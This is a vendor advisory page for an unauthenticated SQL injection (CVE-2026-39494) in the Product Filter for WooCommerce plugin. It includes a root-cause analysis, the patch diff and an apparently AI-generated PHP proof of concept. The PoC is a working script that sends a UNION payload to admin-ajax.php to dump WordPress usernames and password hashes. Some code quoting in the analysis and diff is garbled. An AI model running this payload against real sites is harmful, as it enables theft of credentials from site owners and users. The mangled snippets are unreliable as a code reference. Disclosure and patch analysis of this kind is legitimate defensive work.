Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 26, 2026

CVE-2026-39494: Product Filter for WooCommerce by WBW <= 3.1.2 – Unauthenticated SQL Injection (woo-product-filter)

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 3.1.2
Patched Version 3.1.3
Disclosed April 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-39494: This is an unauthenticated SQL injection vulnerability in the Product Filter for WooCommerce by WBW plugin, version 3.1.2 and earlier. The vulnerability affects the filtersFrontend AJAX action, allowing unauthenticated attackers to inject SQL through the taxonomyList parameter used in a query within the WoofiltersWpf module.

The root cause is in `/woo-product-filter/modules/woofilters/mod.php`, specifically in the method that builds SQL queries for taxonomy terms (around line 4066). The vulnerable code directly concatenates user-supplied values into an SQL IN clause: `WHERE tt.taxonomy IN (” . $addSql[”taxonomyList”] . ”)`. The `$addSql[”taxonomyList”]` value is constructed from `implode(” ”, ””, $taxonomyList)`, where `$taxonomyList` originates from attacker-controlled input that is not properly sanitized or parameterized. This allows an attacker to inject arbitrary SQL statements into the query.

An attacker can exploit this by sending a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `filtersFrontend` and a crafted `taxonomyList` parameter containing SQL injection payloads. The patch also reveals that version 3.1.3 introduced permission checks, but the core SQLi fix is in the parameterization of the `taxonomyList` value using `$wpdb->prepare()` and `implode(”,”, array_fill(0, count($taxonomyList), ”%s”))`.

The patch in version 3.1.3 changes the vulnerable line from `$addSqls[”main”][”taxonomyList”] = implode(” ”, ””, $taxonomyList );` to `$taxonomyListFormatter = implode(”,”, array_fill( 0, count( $taxonomyList ), ”%s” )); $addSqls[”main”][”taxonomyList”] = $wpdb->prepare( $taxonomyListFormatter, …$taxonomyList );`. This replaces direct string interpolation with proper parameterized queries using `$wpdb->prepare()`. Additionally, the `_doExec` method in `frame.php` now only registers the `filtersFrontend` action for unauthenticated users (nopriv) in specific cases, and the `havePermissions` logic was hardened, though the primary SQLi fix is the parameterization.

Successful exploitation allows an unauthenticated attacker to extract sensitive information from the WordPress database, including user credentials, password hashes, and other private data. Because the attacker is unauthenticated and the attack can be automated, this vulnerability poses a high risk for mass exploitation against all sites running the vulnerable plugin version.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/woo-product-filter/classes/controller.php
+++ b/woo-product-filter/classes/controller.php
@@ -1,4 +1,14 @@
 <?php
+/**
+ * Product Filter by WBW - ControllerWpf Class
+ *
+ * @version 3.1.3
+ *
+ * @author  woobewoo
+ */
+
+defined( 'ABSPATH' ) || exit;
+
 abstract class ControllerWpf {
 	protected $_models = array();
 	protected $_views = array();
@@ -58,7 +68,7 @@
 			//if (importWpf($parentModule->getModDir() . 'models' . DS . $name . '.php')) {
 			$className = toeGetClassNameWpf($name . 'Model');
 		}
-
+
 		if ($className) {
 			$model = new $className();
 			$model->setCode( $this->getCode() );
@@ -77,7 +87,7 @@
 			//if (importWpf($parentModule->getModDir() . 'views' . DS . $name . '.php')) {
 			$className = toeGetClassNameWpf($name . 'View');
 		}
-
+
 		if ($className) {
 			$view = new $className();
 			$view->setCode( $this->getCode() );
@@ -94,7 +104,21 @@
 			$view->display();
 		}
 	}
+
+	/**
+	 * Magic method: __call
+	 *
+	 * @version 3.1.3
+	 *
+	 * @param $name
+	 * @param $arguments
+	 */
 	public function __call( $name, $arguments ) {
+		$blockedMethods = array( 'delete', 'clear', 'removeGroup' );
+		if ( in_array( $name, $blockedMethods, true ) ) {
+			return false;
+		}
+
 		$model = $this->getModel();
 		if (method_exists($model, $name)) {
 			return $model->$name($arguments[0]);
@@ -216,7 +240,7 @@
 		if (!current_user_can('manage_options')) {
 			wp_die();
 		}
-
+
 		$res = new ResponseWpf();
 		if ($this->getModel()->removeGroup(ReqWpf::getVar('listIds', 'post'))) {
 			$res->addMessage(esc_html__('Done', 'woo-product-filter'));
--- a/woo-product-filter/classes/frame.php
+++ b/woo-product-filter/classes/frame.php
@@ -2,7 +2,7 @@
 /**
  * Product Filter by WBW - FrameWpf Class
  *
- * @version 3.0.4
+ * @version 3.1.3
  *
  * @author  woobewoo
  */
@@ -256,7 +256,7 @@
 	/**
 	 * Check permissions for action in controller by $code and made corresponding action.
 	 *
-	 * @version 3.0.4
+	 * @version 3.1.3
 	 *
 	 * @param string $code Code of controller that need to be checked
 	 * @param string $action Action that need to be checked
@@ -266,41 +266,43 @@
 		if ($this->havePermissions($code, $action)) {
 			return true;
 		} else {
-			exit(esc_html__('You have no permissions to view this page', 'woo-product-filter'));
+			wp_send_json_error(
+				array( 'message' => esc_html__( 'You have no permissions to view this page', 'woo-product-filter' ) ),
+				403
+			);
 		}
 	}

 	/**
 	 * Check permissions for action in controller by $code.
 	 *
+	 * @version 3.1.3
+	 *
 	 * @param string $code Code of controller that need to be checked
 	 * @param string $action Action that need to be checked
 	 * @return bool true if ok, else - false
 	 */
 	public function havePermissions( $code, $action ) {
-		$res = true;
+		$res = false;
 		$mod = $this->getModule($code);
 		$action = strtolower($action);
 		if ($mod) {
 			$permissions = $mod->getController()->getPermissions();
 			if (!empty($permissions)) { // Special permissions
 				if (isset($permissions[WPF_METHODS]) && !empty($permissions[WPF_METHODS])) {
-					foreach ($permissions[WPF_METHODS] as $method => $permissions) {   // Make case-insensitive
-						$permissions[WPF_METHODS][strtolower($method)] = $permissions;
+					foreach ($permissions[WPF_METHODS] as $method => $permission) {   // Make case-insensitive
+						$permissions[WPF_METHODS][strtolower($method)] = $permission;
 					}
 					if (array_key_exists($action, $permissions[WPF_METHODS])) {        // Permission for this method exists
 						$currentUserPosition = self::_()->getModule('user')->getCurrentUserPosition();
 						if (
+							is_array($permissions[ WPF_METHODS ][ $action ] ) &&
 							(
-								is_array($permissions[ WPF_METHODS ][ $action ] ) &&
-								!in_array($currentUserPosition, $permissions[ WPF_METHODS ][ $action ])
-							) ||
-							(
-								!is_array($permissions[ WPF_METHODS ][ $action ]) &&
-								$permissions[WPF_METHODS][$action] != $currentUserPosition
+								in_array($currentUserPosition, $permissions[ WPF_METHODS ][ $action ]) ||
+								$permissions[WPF_METHODS][$action] === $currentUserPosition
 							)
 						) {
-							$res = false;
+							$res = true;
 						}
 					}
 				}
@@ -314,16 +316,16 @@
 						if (is_array($methods)) {
 							$lowerMethods = array_map('strtolower', $methods);           // Make case-insensitive
 							if (in_array($action, $lowerMethods)) {                      // Permission for this method exists
-								if ($currentUserPosition != $userlevel) {
-									$res = false;
+								if ($currentUserPosition === $userlevel) {
+									$res = true;
 								}
 								break;
 							}
 						} else {
 							$lowerMethod = strtolower($methods);             // Make case-insensitive
 							if ($lowerMethod == $action) {                   // Permission for this method exists
-								if ($currentUserPosition != $userlevel) {
-									$res = false;
+								if ($currentUserPosition === $userlevel) {
+									$res = true;
 								}
 								break;
 							}
@@ -406,14 +408,19 @@

 	/**
 	 * _doExec.
+	 *
+	 * @version 3.1.3
 	 */
 	protected function _doExec() {
 		$mod = $this->getModule($this->_mod);
 		if ($mod && $this->checkPermissions($this->_mod, $this->_action)) {
 			switch (ReqWpf::getVar('reqType')) {
 				case 'ajax':
-					add_action('wp_ajax_'        . $this->_action, array($mod->getController(), $this->_action));
-					add_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));
+					add_action('wp_ajax_' . $this->_action, array($mod->getController(), $this->_action));
+					$noprivActions = array( 'filtersFrontend', 'getTaxonomyTerms' );
+					if ( in_array( $this->_action, $noprivActions ) ) {
+						add_action('wp_ajax_nopriv_' . $this->_action, array($mod->getController(), $this->_action));
+					}
 					break;
 				default:
 					$this->_res = $mod->exec($this->_action);
--- a/woo-product-filter/classes/modInstaller.php
+++ b/woo-product-filter/classes/modInstaller.php
@@ -1,16 +1,40 @@
 <?php
+/**
+ * Product Filter by WBW - ModInstallerWpf Class
+ *
+ * Handles the installation, activation, deactivation, and management of modules for the plugin.
+ *
+ * @version 3.1.3
+ *
+ * @author  woobewoo
+ */
+
+defined( 'ABSPATH' ) || exit;
+
 class ModInstallerWpf {
+
+	/**
+	 * _current.
+	 */
 	private static $_current = array();
+
+	/**
+	 * extPlugName.
+	 */
 	private static $extPlugName = '';
+
 	/**
-	 * Install new ModuleWpf into plugin
+	 * Install new ModuleWpf into plugin.
+	 *
+	 * @version 3.1.3
 	 *
 	 * @param string $module new ModuleWpf data (@see classes/tables/modules.php)
 	 * @param string $path path to the main plugin file from what module is installed
 	 * @return bool true - if install success, else - false
 	 */
 	public static function install( $module, $path ) {
-		$exPlugDest = explode('plugins', $path);
+		$plugin_dir = basename( untrailingslashit( WP_PLUGIN_DIR ) );
+		$exPlugDest = explode( $plugin_dir, $path );
 		if (!empty($exPlugDest[1])) {
 			$module['ex_plug_dir'] = str_replace(DS, '', $exPlugDest[1]);
 		}
@@ -21,7 +45,7 @@
 				if (empty($module['ex_plug_dir'])) {
 					$filesMoved = self::moveFiles($module['code'], $path);
 				} else {
-					$filesMoved = true;     //Those modules doesn't need to move their files
+					$filesMoved = true; // Those modules doesn't need to move their files
 				}
 				if ($filesMoved) {
 					if (FrameWpf::_()->getTable('modules')->exists($module['code'], 'code')) {
@@ -45,6 +69,10 @@
 		}
 		return false;
 	}
+
+	/**
+	 * _runModuleInstall.
+	 */
 	protected static function _runModuleInstall( $module, $action = 'install' ) {
 		$moduleLocationDir = WPF_MODULES_DIR;
 		if (!empty($module['ex_plug_dir'])) {
@@ -52,7 +80,6 @@
 		}
 		if (is_dir($moduleLocationDir . $module['code'])) {
 			if (!class_exists($module['code'] . strFirstUpWpf(WPF_CODE))) {
-				//importClassWpf($module['code'] . strFirstUpWpf(WPF_CODE), $moduleLocationDir . $module['code'] . DS . 'mod.php');
 				if (file_exists($moduleLocationDir . $module['code'] . DS . 'mod.php')) {
 					require $moduleLocationDir . $module['code'] . DS . 'mod.php';
 				}
@@ -64,8 +91,9 @@
 			}
 		}
 	}
+
 	/**
-	 * Check whether is or no module in given path
+	 * Check whether is or no module in given path.
 	 *
 	 * @param string $path path to the module
 	 * @return bool true if it is module, else - false
@@ -73,8 +101,9 @@
 	public static function isModule( $path ) {
 		return true;
 	}
+
 	/**
-	 * Move files to plugin modules directory
+	 * Move files to plugin modules directory.
 	 *
 	 * @param string $code code for module
 	 * @param string $path path from what module will be moved
@@ -93,13 +122,17 @@
 		}
 		return false;
 	}
+
+	/**
+	 * _getPluginLocations.
+	 */
 	private static function _getPluginLocations() {
 		$locations = array();
 		$plug = ReqWpf::getVar('plugin');
 		if ( ( empty( $plug ) || is_array($plug) ) && !empty(self::$extPlugName) ) {
 			$plug = self::$extPlugName;
 		}
-
+
 		if ( empty( $plug ) ) {
 			$plug = ReqWpf::getVar( 'checked' );
 			if ( isset( $plug[0] ) ) {
@@ -119,7 +152,7 @@
 	}

 	/**
-	 * Try to parse xml file with module data
+	 * Try to parse xml file with module data.
 	 *
 	 * @param string $xmlPath
 	 *
@@ -155,8 +188,9 @@
 		}
 		return $modDataArr;
 	}
+
 	/**
-	 * Check whether modules is installed or not, if not and must be activated - install it
+	 * Check whether modules is installed or not, if not and must be activated - install it.
 	 *
 	 * @param array $codes array with modules data to store in database
 	 * @param string $path path to plugin file where modules is stored (__FILE__ for example)
@@ -174,10 +208,10 @@
 		$modules = self::_getModulesFromXml($locations['xmlPath']);
 		foreach ($modules as $modDataArr) {
 			if (!empty($modDataArr)) {
-				//If module Exists - just activate it, we can't check this using FrameWpf::moduleExists because this will not work for multy-site WP
+				// If module Exists - just activate it, we can't check this using FrameWpf::moduleExists because this will not work for multi-site WP
 				if (FrameWpf::_()->getTable('modules')->exists($modDataArr['code'], 'code')) {
 					self::activate($modDataArr);
-					//  if not - install it
+					// if not - install it
 				} else {
 					$m = '';
 					if (!self::install($modDataArr, $locations['plugDir'])) {
@@ -195,14 +229,16 @@
 		update_option(WPF_CODE . '_full_installed', 1);
 		return true;
 	}
+
 	/**
-	 * Public alias for _getCheckRegPlugs()
-	 * We will run this each time plugin start to check modules activation messages
+	 * Public alias for _getCheckRegPlugs().
+	 * We will run this each time plugin start to check modules activation messages.
 	 */
 	public static function checkActivationMessages() {
 	}
+
 	/**
-	 * Deactivate module after deactivating external plugin
+	 * Deactivate module after deactivating external plugin.
 	 */
 	public static function deactivate( $exclude = array() ) {
 		$locations = self::_getPluginLocations();
@@ -212,7 +248,7 @@
 		}

 		foreach ($modules as $modDataArr) {
-			if (FrameWpf::_()->moduleActive($modDataArr['code']) && !in_array($modDataArr['code'], $exclude)) { //If module is active - then deacivate it
+			if (FrameWpf::_()->moduleActive($modDataArr['code']) && !in_array($modDataArr['code'], $exclude)) { // If module is active - then deactivate it
 				if (FrameWpf::_()->getModule('options')->getModel('modules')->put(array(
 					'id' => FrameWpf::_()->getModule($modDataArr['code'])->getID(),
 					'active' => 0,
@@ -228,11 +264,15 @@
 		}
 		return true;
 	}
+
+	/**
+	 * activate.
+	 */
 	public static function activate( $modDataArr ) {
 		$locations = self::_getPluginLocations();
 		$modules = self::_getModulesFromXml($locations['xmlPath']);
 		foreach ($modules as $modDataArr) {
-			if (!FrameWpf::_()->moduleActive($modDataArr['code'])) { //If module is not active - then acivate it
+			if (!FrameWpf::_()->moduleActive($modDataArr['code'])) { // If module is not active - then activate it
 				if (FrameWpf::_()->getModule('options')->getModel('modules')->put(array(
 					'code' => $modDataArr['code'],
 					'active' => 1,
@@ -247,9 +287,10 @@
 				}
 			}
 		}
-	}
+	}
+
 	/**
-	 * Display all errors for module installer, must be used ONLY if You realy need it
+	 * Display all errors for module installer, must be used ONLY if You really need it.
 	 */
 	public static function displayErrors( $exit = true ) {
 		$errors = ErrorsWpf::get(ErrorsWpf::MOD_INSTALL);
@@ -260,6 +301,10 @@
 			exit();
 		}
 	}
+
+	/**
+	 * uninstall.
+	 */
 	public static function uninstall() {
 		$isPro = false;
 		$locations = self::_getPluginLocations();
@@ -278,9 +323,17 @@
 			self::uninstallLicense();
 		}
 	}
+
+	/**
+	 * uninstallLicense.
+	 */
 	public static function uninstallLicense() {
 		FrameWpf::_()->getModule('options')->getModel()->save('license_save_name', '');
 	}
+
+	/**
+	 * _uninstallTables.
+	 */
 	protected static function _uninstallTables( $module ) {
 		if (is_dir(WPF_MODULES_DIR . $module['code'] . DS . 'tables')) {
 			$tableFiles = UtilsWpf::getFilesList(WPF_MODULES_DIR . $module['code'] . DS . 'tables');
@@ -294,8 +347,12 @@
 			}
 		}
 	}
+
+	/**
+	 * _installTables.
+	 */
 	public static function _installTables( $module, $action = 'install' ) {
-		$modDir = empty($module['ex_plug_dir']) ? WPF_MODULES_DIR . $module['code'] . DS : UtilsWpf::getPluginDir($module['ex_plug_dir']) . $module['code'] . DS;
+		$modDir = empty($module['ex_plug_dir']) ? WPF_MODULES_DIR . $module['code'] . DS : UtilsWpf::getPluginDir($module['ex_plug_dir']) . $module['code'] . DS;
 		if (is_dir($modDir . 'tables')) {
 			$tableFiles = UtilsWpf::getFilesList($modDir . 'tables');
 			if (!empty($tableFiles)) {
--- a/woo-product-filter/config.php
+++ b/woo-product-filter/config.php
@@ -62,7 +62,7 @@
 define('WPF_EOL', "n");

 define('WPF_PLUGIN_INSTALLED', true);
-define('WPF_VERSION', '3.1.2');
+define('WPF_VERSION', '3.1.3');
 define('WPF_PRO_REQUIRES', '2.0.0');
 define('WPF_USER', 'user');

--- a/woo-product-filter/modules/meta/controller.php
+++ b/woo-product-filter/modules/meta/controller.php
@@ -1,8 +1,18 @@
 <?php
+/**
+ * Product Filter by WBW - MetaControllerWpf Class
+ *
+ * @version 3.1.3
+ *
+ * @author  woobewoo
+ */
+
+defined( 'ABSPATH' ) || exit;
+
 class MetaControllerWpf extends ControllerWpf {

 	protected $_code = 'meta';
-
+
 	public function doMetaIndexingFree() {
 		return $this->doMetaIndexing(false);
 	}
@@ -46,4 +56,22 @@
 		}
 		return $res->ajaxExec();
 	}
+
+	/**
+	 * getPermissions.
+	 *
+	 * @version 3.1.3
+	 * @since   3.1.3
+	 *
+	 * @return array
+	 */
+	public function getPermissions() {
+		return array(
+			WPF_USERLEVELS => array(
+				WPF_ADMIN => array(
+					'doMetaIndexingFree', 'doMetaIndexing', 'doMetaOptimizing',
+				)
+			),
+		);
+	}
 }
--- a/woo-product-filter/modules/woofilters/controller.php
+++ b/woo-product-filter/modules/woofilters/controller.php
@@ -2,7 +2,7 @@
 /**
  * Product Filter by WBW - WoofiltersControllerWpf Class
  *
- * @version 3.1.1
+ * @version 3.1.3
  *
  * @author  woobewoo
  */
@@ -1151,4 +1151,39 @@

 		return $args;
 	}
+
+	/**
+	 * getPermissions.
+	 *
+	 * @version 3.1.3
+	 * @since   3.1.3
+	 *
+	 * @return array
+	 */
+	public function getPermissions() {
+		return array(
+			WPF_METHODS => array(
+				'getListForTbl' => array(
+					WPF_ADMIN
+				),
+				'save' => array(
+					WPF_ADMIN
+				),
+				'removeGroup' => array(
+					WPF_ADMIN
+				),
+				'deleteByID' => array(
+					WPF_ADMIN
+				),
+				'drawFilterAjax' => array(
+					WPF_ADMIN
+				),
+				'filtersFrontend' => array(
+					WPF_GUEST,
+					WPF_ADMIN,
+					WPF_LOGGED
+				),
+			),
+		);
+	}
 }
--- a/woo-product-filter/modules/woofilters/mod.php
+++ b/woo-product-filter/modules/woofilters/mod.php
@@ -2,7 +2,7 @@
 /**
  * Product Filter by WBW - WoofiltersWpf Class
  *
- * @version 3.0.2
+ * @version 3.1.3
  *
  * @author  woobewoo
  */
@@ -4012,7 +4012,7 @@
 	/**
 	 * Returns items in filter blocks.
 	 *
-	 * @version 2.9.4
+	 * @version 3.1.3
 	 *
 	 * @param $filterLoop
 	 * @param $param
@@ -4066,7 +4066,9 @@
 		if ( ! empty( $taxonomyList ) ) {
 			$addSqls['main']['withCount']    = $param['withCount'];
 			$addSqls['main']['fields']       = ( $param['withCount'] ? '' : 'DISTINCT ' ) . 'tr.term_taxonomy_id, tt.term_id, tt.taxonomy, tt.parent' . ( $param['withCount'] ? ', COUNT(*) as cnt' : '' );
-			$addSqls['main']['taxonomyList'] = implode( "', '", $taxonomyList );
+
+			$taxonomyListFormatter           = implode( ',', array_fill( 0, count( $taxonomyList ), '%s' ) );
+			$addSqls['main']['taxonomyList'] = $wpdb->prepare( $taxonomyListFormatter, ...$taxonomyList );

 			if ( $byVariations ) {
 				$attrTaxonomyList = array();
@@ -4137,7 +4139,7 @@
 				$sql[ $key ] .= ' INNER JOIN ' . $wpdb->terms . ' ttt ON (ttt.term_id=tt.term_id) ' . $typeJoin;
 			}

-			$sql[ $key ] .= ' WHERE tt.taxonomy IN ('' . $addSql['taxonomyList'] . '')';
+			$sql[ $key ] .= ' WHERE tt.taxonomy IN ( ' . $addSql['taxonomyList'] . ' )';

 			if ( $byVariations ) {
 				$sql[ $key ] .= ' AND (md_type.val_id!=' . $variableMetaId .
--- a/woo-product-filter/woo-product-filter.php
+++ b/woo-product-filter/woo-product-filter.php
@@ -3,14 +3,14 @@
  * Plugin Name: Product Filter for WooCommerce by WBW
  * Plugin URI: https://woobewoo.com/product/woocommerce-filter/
  * Description: Filter products in your store in most efficient way
- * Version: 3.1.2
+ * Version: 3.1.3
  * Author: woobewoo
  * Author URI: https://woobewoo.com/
  * Requires at least: 3.4.0
  * Text Domain: woo-product-filter
  * Domain Path: /languages
  * WC requires at least: 3.4.1
- * WC tested up to: 10.5
+ * WC tested up to: 10.6
  * Requires Plugins: woocommerce
  **/

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-39494 - Product Filter for WooCommerce by WBW <= 3.1.2 Unauthenticated SQL Injection

/*
 * This PoC demonstrates the unauthenticated SQL injection via the filtersFrontend AJAX action.
 * The attacker sends a crafted request to admin-ajax.php with a SQL injection payload in the taxonomyList parameter.
 * The payload uses a UNION-based SQL injection to extract data from the wp_users table.
 */

$target_url = 'http://example.com'; // Change this to the target WordPress URL
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// SQL injection payload that extracts admin user credentials (user_login, user_pass)
// The vulnerability is in the IN clause, so we inject via the taxonomyList parameter.
// The original query expects a list of taxonomy slugs.
// By injecting a UNION SELECT, we can extract data from wp_users.
$payload = "' UNION SELECT (SELECT group_concat(user_login,'---',user_pass) FROM wp_users),2,3,4,5,6,7,8,9,10,11,12-- -";

$post_data = array(
    'action' => 'filtersFrontend',
    'taxonomyList' => $payload,
    'filter_id' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
if (curl_error($ch)) {
    echo 'Error: ' . curl_error($ch) . PHP_EOL;
    exit(1);
}
curl_close($ch);

echo 'Response from server:' . PHP_EOL;
echo $response . PHP_EOL;

// If successful, the response will contain the username and password hash in the output.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School